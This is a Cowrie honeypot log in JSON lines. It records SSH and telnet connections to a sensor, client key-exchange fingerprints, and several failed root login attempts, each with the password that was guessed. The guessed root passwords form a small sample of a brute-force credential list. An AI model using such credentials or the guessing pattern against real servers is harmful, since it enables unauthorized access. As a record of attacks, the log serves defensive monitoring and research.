{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:18.472400Z","src_ip":"23.97.62.150","session":"cdc539aa43f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47366,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0c298763ebc","protocol":"ssh","message":"New connection: 89.223.69.22:47366 (159.203.135.109:22) [session: f0c298763ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:18.560752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:18.566889Z","src_ip":"89.223.69.22","session":"f0c298763ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:18.680825Z","src_ip":"89.223.69.22","session":"f0c298763ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:18.705838Z","src_ip":"23.97.62.150","session":"cdc539aa43f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"070787","message":"login attempt [root/070787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:19.021452Z","src_ip":"89.223.69.22","session":"f0c298763ebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rocky2025","message":"login attempt [root/rocky2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:19.406705Z","src_ip":"23.97.62.150","session":"cdc539aa43f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:20.137352Z","src_ip":"89.223.69.22","session":"f0c298763ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:20.641196Z","src_ip":"23.97.62.150","session":"cdc539aa43f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.603780031204224,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:22.005967Z","src_ip":"165.22.57.101","session":"ac5871cd737a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":48854,"dst_ip":"10.17.0.5","dst_port":22,"session":"87add3db947b","protocol":"ssh","message":"New connection: 109.237.96.109:48854 (10.17.0.5:22) [session: 87add3db947b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:34.698377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:34.712076Z","src_ip":"109.237.96.109","session":"87add3db947b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:34.794822Z","src_ip":"109.237.96.109","session":"87add3db947b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty8","message":"login attempt [root/qwerty8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:35.164073Z","src_ip":"109.237.96.109","session":"87add3db947b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:05:36.261060Z","src_ip":"109.237.96.109","session":"87add3db947b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":48960,"dst_ip":"10.17.0.5","dst_port":22,"session":"f92264202139","protocol":"ssh","message":"New connection: 103.82.20.28:48960 (10.17.0.5:22) [session: f92264202139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:06:18.208334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:06:18.214861Z","src_ip":"103.82.20.28","session":"f92264202139","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:06:18.482049Z","src_ip":"103.82.20.28","session":"f92264202139","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna1991","message":"login attempt [root/anna1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:06:19.278172Z","src_ip":"103.82.20.28","session":"f92264202139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:06:20.546474Z","src_ip":"103.82.20.28","session":"f92264202139","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":43968,"dst_ip":"159.203.135.109","dst_port":23,"session":"826cafbc138f","protocol":"telnet","message":"New connection: 79.139.59.21:43968 (159.203.135.109:23) [session: 826cafbc138f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:07:08.073328Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38812,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea71580cf754","protocol":"telnet","message":"New connection: 69.4.83.194:38812 (159.203.135.109:23) [session: ea71580cf754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:07:27.085794Z"}
{"eventid":"cowrie.session.closed","duration":45.022977352142334,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:07:53.096211Z","src_ip":"79.139.59.21","session":"826cafbc138f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.65566444396973,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:07:59.741367Z","src_ip":"69.4.83.194","session":"ea71580cf754","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"110.239.183.183","src_port":55761,"dst_ip":"10.17.0.5","dst_port":23,"session":"da29f2ee9c5a","protocol":"telnet","message":"New connection: 110.239.183.183:55761 (10.17.0.5:23) [session: da29f2ee9c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:08:19.916998Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":48358,"dst_ip":"10.17.0.5","dst_port":22,"session":"064787eec3f9","protocol":"ssh","message":"New connection: 62.133.63.178:48358 (10.17.0.5:22) [session: 064787eec3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:08:26.364985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:08:26.373750Z","src_ip":"62.133.63.178","session":"064787eec3f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:08:26.506155Z","src_ip":"62.133.63.178","session":"064787eec3f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samara63","message":"login attempt [root/samara63] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:08:26.901521Z","src_ip":"62.133.63.178","session":"064787eec3f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":57208,"dst_ip":"159.203.135.109","dst_port":22,"session":"f81e6697f7d9","protocol":"ssh","message":"New connection: 103.122.221.179:57208 (159.203.135.109:22) [session: f81e6697f7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:08:27.292827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:08:27.298347Z","src_ip":"103.122.221.179","session":"f81e6697f7d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:08:27.548553Z","src_ip":"103.122.221.179","session":"f81e6697f7d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:08:28.035676Z","src_ip":"62.133.63.178","session":"064787eec3f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ufhhbgjnnth","message":"login attempt [root/ufhhbgjnnth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:08:28.289735Z","src_ip":"103.122.221.179","session":"f81e6697f7d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:08:29.540008Z","src_ip":"103.122.221.179","session":"f81e6697f7d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.866809606552124,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:08:32.783724Z","src_ip":"110.239.183.183","session":"da29f2ee9c5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":55310,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c2efdf6ede6","protocol":"ssh","message":"New connection: 80.66.85.226:55310 (159.203.135.109:22) [session: 9c2efdf6ede6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:01.040332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:01.047438Z","src_ip":"80.66.85.226","session":"9c2efdf6ede6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:01.138652Z","src_ip":"80.66.85.226","session":"9c2efdf6ede6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warriors","message":"login attempt [root/warriors] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:01.399781Z","src_ip":"80.66.85.226","session":"9c2efdf6ede6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:02.490063Z","src_ip":"80.66.85.226","session":"9c2efdf6ede6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":54526,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1967a568269","protocol":"ssh","message":"New connection: 109.172.54.111:54526 (10.17.0.5:22) [session: a1967a568269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:09.690202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:09.694646Z","src_ip":"109.172.54.111","session":"a1967a568269","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:09:09.795997Z","src_ip":"109.172.54.111","session":"a1967a568269","protocol":"ssh"}
